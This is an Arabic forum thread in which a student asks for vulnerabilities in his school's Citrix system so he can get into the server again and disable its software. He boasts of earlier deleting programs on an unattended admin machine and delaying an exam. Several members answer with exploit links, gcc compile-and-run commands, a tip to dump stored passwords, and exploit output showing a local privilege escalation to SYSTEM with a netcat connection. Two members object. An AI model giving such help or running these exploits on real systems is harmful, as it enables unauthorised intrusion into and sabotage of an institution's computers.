لمن لديه خبره في نظام Citrex .. مطلوب ثغرات للنظام ..!!

[dxbboy77]

السلام عليكم ورحمه الله وبركاته

اخواني انا ادرس وفي المدرسه يستخدمون نظام Citrex ..

وما اقدر ادخل علي الجهاز الا بيوزر وباس خاص فيني ..

ومره اكتشفت بالصدفه انهم يستخدمون برنامج Net Support لمراقبتنا ..

فهل في ثغرات في نظام ؟؟

شويه اعطل النظام واتمصخر عليهم ..

وشكرا مقدما :frnd"

[N-VON]

ماشاء الله إمبراطور الهكر

نوى النية على التحدي.

الله يوفقك في دراستك

ومشروعك .

[dxbboy77]

مره في غرفته الكمبيوتر وجدت الكمبيوتر الرئيسي شغال

والرجال مب جالس عليه علشان يراقب

دخلت فيه ولغيت برامج الاوفيس و AutoCAD و اكروبيت ريدير ..!!

وكان هاك اليوم امتحان .. تأخرنا نصف ساعه علشان يعدلون النظام ..!!

خخخخخخخخخخخخخخ خليتهم مصخره ..!!

الحين ادور ثغرات علشان ادخل ..

علما ان المدرسه كلها وايرليس يعني اقدر ادخل الانترنت عن طريق شبكتهم ..

[M&M]

طيب ليه ماتنزل برنامج Net Support في جهازك وتجرب بنفسك وشوف اذا فيه ثغرات ولا لا

لاني ولا مره شفت موضوع يتكلم عن هذا

[mcse]

السلام عليكم

تعاملت مع هذا النظام,اذا استطعت الحصول على باسوورد السيرفر تستطيع تعمل ما تريد عن طريقه وحتى برنامج المراقبه للأجهزه ممكن تحذفها.

هناك برنامج اول ما تشغل الجهاز يكشف لك الباسوردات المخزنه بالجهاز حاول ان تبحث عنها او قد يستطيع الأخCEH وصف واحده لك.

[عضو محذوف]

لو عاوز تعرف معلومات مفيدة عن Citrix ممكن نفيدك .. لكن أعتقد أن الموضوعات الخاصة بتجاوز البروكسى أو خرق مستويات الأمان ليس من المفروض مناقشتها فى تلك المنتديات

وعلى العموم Citrix من أعلى الشركات فى مستويات الأمان


تحياتى

[adam black ice]

كما قال مستر سمارت فشركة سيتريكس من اعلى الشركات فى العالم التى تقدم الدعم للmainframes وليس من السهل اكتشاف ثغرات فيه

وهذا منتدى الحمايه والامان وليس منتدى اكتشاف الثغرات

[dxbboy77]

طيب ليه ماتنزل برنامج Net Support في جهازك وتجرب بنفسك وشوف اذا فيه ثغرات ولا لا

هذا البرنامج لا يكشف الثغرات ..

اذا استطعت الحصول على باسوورد السيرفر تستطيع تعمل ما تريد عن طريقه وحتى برنامج المراقبه للأجهزه ممكن تحذفها.

صعب اني ادخل للغرفه مره ثانيه لان فيها مراقبه ..!!

وعلى العموم Citrix من أعلى الشركات فى مستويات الأمان

لووول .. انا مب ناوي علي شيئ معين .. لان لو نبغي نشغل الWord مثلا .. لازم ندخل اولا للجهاز في غرفه الكمبيوتر باليوز والباس .. وندخل موقعهم .. ونضع اليوزر والباس مره اخري

ومن ثم نقدر ان نفتح الword .. وانا الي اريده هو الدخول للسيرفر مره اخري بدون الدخول للغرفه ..

وقفل هذي البرنامج .. فقط لا غير اما من جهه البروكسي .. ما في موقع مسكر علينا .. ومن جهه الغاء برامج المراقبه .. بعد ما ابغي

هدفي هو اقفال باقه البرامج الي نأخذها من السيرفر ..!!

وهذا منتدى الحمايه والامان وليس منتدى اكتشاف الثغرات

اعرف .. لان في طريقه للدخول بيوزر وباس معين .. مثل لو نسيت باس الXP

[kernel]

pls: pls: pls:
https://www.derkeiler.com/Mailing-Li...2-08/0048.html
https://www.milw0rm.com/exploits/3204
https://downloads.securityfocus.com/...oits/testlpc.c
(z) (z)

[godfather]

pls: pls: pls:
https://www.derkeiler.com/Mailing-Li...2-08/0048.html
https://www.milw0rm.com/exploits/3204
https://downloads.securityfocus.com/...oits/testlpc.c
(z) (z)

nice way , kernel , this my favorites webs , before run this exploit , you must compile it , i hope you work with linux is easy way for you , if not may be you have cygwin in you OS

have fun with this exploits

[dxbboy77]

الموقعين الاول والثالث شغال

الثاني محظور

اخوي انت طرشتلي لسته اكواد .. ممكن طريقه الاستعمال ؟؟

وشكرا مقدما ..!!

[kernel]

زى ما قال الاخ godfather لازم تعمل compile
وانا أفضل ان تتم عن طريق Linux حتى تتجنب الاخطاء البرمجية
gcc -o exploit.c exploit
./exploit
linux= live free
c u

[ISSyria]

wowo
if can find any way to get Citrex server pw call me!Clap
i can find job to you:Big:

[dxbboy77]

زى ما قال الاخ godfather لازم تعمل compile
وانا أفضل ان تتم عن طريق Linux حتى تتجنب الاخطاء البرمجية
gcc -o exploit.c exploit
./exploit
linux= live free
c u

اخوي احتاج احد يشرحلي .. مب اكواد ما اعرف شو اسوي فيها ..

wowo
if can find any way to get Citrex server pw call me
i can find job to you

تابع الموضوع وبتعرف ..

[kernel]

زى ما قلتلك قبل كدة أخوى dxbboy77 انا بعطيك ال Source code للثغرة وانت بتعمل لها Compile
بأى طريقة كانت سواء لينوكس او visual c/c++ او حتى بال cygwin
بص على الثغرة الموجودة بالرابط التالى:
https://www.milw0rm.com/exploits/3220
لو نفذتها هتعطيك صلاحيات System على السيرفر

 D:\Programaci�n\EnumPrinters\Exploits>testlpc.exe
 [+] Citrix Presentation Server - EnumPrinterW() Universal exploit
 [+] Exploit coded by Andres Tarasco 
 

 [+] Connecting to spooler LCP port \RPC Control\spoolss
 [+] Trying to locate valid address (1 tries)
 [+] Mapped memory. Client address: 0x003d0000
 [+] Mapped memory. Server address: 0x00a70000
 [+] Targeting return address to  : 0x00A700A7
 [+] Writting to shared memory...
 [+] Written 0x1000 bytes
 [+] Exploiting vulnerability....
 [+] Exploit complete. Now Connect to 127.0.0.1:51477
 

 D:\Programaci�n\EnumPrinters>nc localhost 51477
 Microsoft Windows XP [Versi�n 5.1.2600]
 (C) Copyright 1985-2001 Microsoft Corp.

 C:\WINDOWS\system32>whoami
 NT AUTHORITY\SYSTEM

وعلى فكرة الثغرة جديدة وبتاريخ 2007-01-29
وخد بالك الثغرة لوكال مش remote
وبالتوفيق,,,,
(z) (z)